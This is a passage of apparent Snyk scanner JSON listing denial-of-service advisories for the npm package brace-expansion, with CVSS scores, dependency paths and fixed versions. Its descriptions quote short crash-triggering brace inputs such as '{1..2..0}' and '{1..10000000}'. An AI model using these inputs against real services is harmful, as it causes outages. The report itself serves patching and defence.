"brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub 